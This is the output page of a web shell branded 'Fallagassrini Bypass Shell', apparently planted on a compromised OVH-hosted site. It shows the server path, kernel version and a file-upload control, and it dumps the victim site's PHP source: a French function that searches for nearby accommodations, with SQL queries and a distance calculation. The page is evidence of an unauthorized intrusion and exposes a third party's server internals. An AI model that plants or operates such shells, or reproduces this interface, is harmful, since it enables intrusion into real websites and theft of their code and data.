Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home/h/a/p/happyrenas/myreco.online/includes/

Linux webd005.cluster105.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
Upload File :
Current File : /home/h/a/p/happyrenas/myreco.online/includes/fonctions_hebergements.php

<?
/************************************************
 * 🚚 RECHERCHER HEBERGEMENTS PROCHES D'UNE VILLE
 ************************************************/
 function rechercherHebergementsProches($ville_input, $db, $rayon_km = 10) {
	global $types_hebergement;

	if (empty($ville_input)) {
		return ['erreur' => "❌ Veuillez sĂ©lectionner une ville."];
	}

	// ➀ Extraction ville / pays
	$parts = explode(',', $ville_input);
	$ville = trim($parts[0]);
	$pays  = strtoupper(trim($parts[1] ?? ''));
	if (!$ville || !$pays) {
		return ['erreur' => "❌ Format ville invalide. Utilisez : Ville, FR"];
	}

	// ➀ Point de rĂ©fĂ©rence
	$ville_ref = $db->get_row("
		SELECT latitude, longitude 
		FROM heb 
		WHERE city = '" . $db->escape($ville) . "' 
		AND country_code = '" . $db->escape($pays) . "' 
		AND latitude IS NOT NULL AND longitude IS NOT NULL 
		LIMIT 1
	");

	if (!$ville_ref) {
		return ['erreur' => "❌ Ville non trouvĂ©e ou sans coordonnĂ©es."];
	}

	$lat_ref = (float) str_replace(",", ".", $ville_ref->latitude);
	$lon_ref = (float) str_replace(",", ".", $ville_ref->longitude);
	$delta = $rayon_km / 111;

	// ➀ Étape 1 : hĂ©bergements dans la ville
	$hebs_ville = $db->get_results("
		SELECT * FROM heb 
		WHERE city = '" . $db->escape($ville) . "' 
		AND country_code = '" . $db->escape($pays) . "'
		AND latitude IS NOT NULL AND longitude IS NOT NULL
	");

	$hebergements = [];
	$ids_deja = [];

	foreach ($hebs_ville as $h) {
		$h->origine = 'ville';
		$hebergements[] = $h;
		$ids_deja[] = (int)$h->id;
	}

	// ➀ Étape 2 : si moins de 5 → Ă©largir gĂ©ographiquement
	if (count($hebergements) < 5) {
		$exclusion = $ids_deja ? "AND id NOT IN (" . implode(",", array_map('intval', $ids_deja)) . ")" : "";

		$hebs_rect = $db->get_results("
			SELECT * FROM heb 
			WHERE latitude BETWEEN " . ($lat_ref - $delta) . " AND " . ($lat_ref + $delta) . "
			AND longitude BETWEEN " . ($lon_ref - $delta) . " AND " . ($lon_ref + $delta) . "
			AND latitude IS NOT NULL AND longitude IS NOT NULL
			AND country_code = '" . $db->escape($pays) . "'
			$exclusion
		");

		foreach ($hebs_rect as $h) {
			$h->origine = 'rectangle';
			$hebergements[] = $h;
		}
	}


	// ➀ Calcul distances et prĂ©paration rĂ©sultats
	// ➀ Calcul distances et prĂ©paration rĂ©sultats
$resultats = [];

foreach ($hebergements as $heb) {
	$lat = (float) str_replace(",", ".", $heb->latitude);
	$lon = (float) str_replace(",", ".", $heb->longitude);
	$distance = round(calculerlaDistance($lat_ref, $lon_ref, $lat, $lon), 1);

	if ($distance > $rayon_km) continue;

	$type_hebergement = $heb->type_hebergement ? $types_hebergement[$heb->type_hebergement] : '';
	$resultats[] = [
		'id'       => $heb->id,
		'token'     => htmlspecialchars($heb->token),
		'name'     => htmlspecialchars($heb->name),
		'postal_code' => htmlspecialchars($heb->postal_code),
		'ville'    => htmlspecialchars($heb->city),
		'country_code' => strtoupper($heb->country_code),
		'distance' => $distance,
		'photo' => $heb->photo,
		'photo_locale' => $heb->photo_locale,
		
		'parking' => $heb->parking ? ucfirst(str_replace('_', ' ', $heb->parking)) : '',
		'type_hebergement' => $type_hebergement,
		'donnees'   => json_decode($heb->donnees_specifiques ?? '[]', true),
		'equipements' => json_decode($heb->equipements_json ?? '[]', true),
		'activites' => json_decode($heb->activites_json ?? '[]', true),
		'tarif_nuit' => $heb->tarif_nuit,
		'category' => $heb->category,
		'latitude' => $lat,
		'longitude' => $lon,
		'origine'  => $heb->origine ?? 'inconnue'
	];
}

// ➀ Tri par distance
usort($resultats, fn($a, $b) => $a['distance'] <=> $b['distance']);

// ➀ Garde les 10 plus proches uniquement
$resultats = array_slice($resultats, 0, 10);

return $resultats;



	
}



/***********************************
 * 🚚 CALCULER DISTANCE HEBERGEMENTS
 ***********************************/
function calculerlaDistance($lat1, $lon1, $lat2, $lon2) {
	$R = 6371;
	$lat1 = deg2rad($lat1);
	$lon1 = deg2rad($lon1);
	$lat2 = deg2rad($lat2);
	$lon2 = deg2rad($lon2);

	$dLat = $lat2 - $lat1;
	$dLon = $lon2 - $lon1;

	$a = sin($dLat / 2) ** 2 +
		 cos($lat1) * cos($lat2) * sin($dLon / 2) ** 2;

	$c = 2 * atan2(sqrt($a), sqrt(1 - $a));
	return $R * $c;
}

/***********************************
 * 🚚 METTRE A JOUR VILLES DISTINCT
 ***********************************/
function miseaJourHeb_villes() {
	
	$db->query("
	  INSERT IGNORE INTO heb_villes (city, country_code)
	  SELECT DISTINCT city, country_code FROM heb
	  WHERE city IS NOT NULL AND city <> ''
	");

}

?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net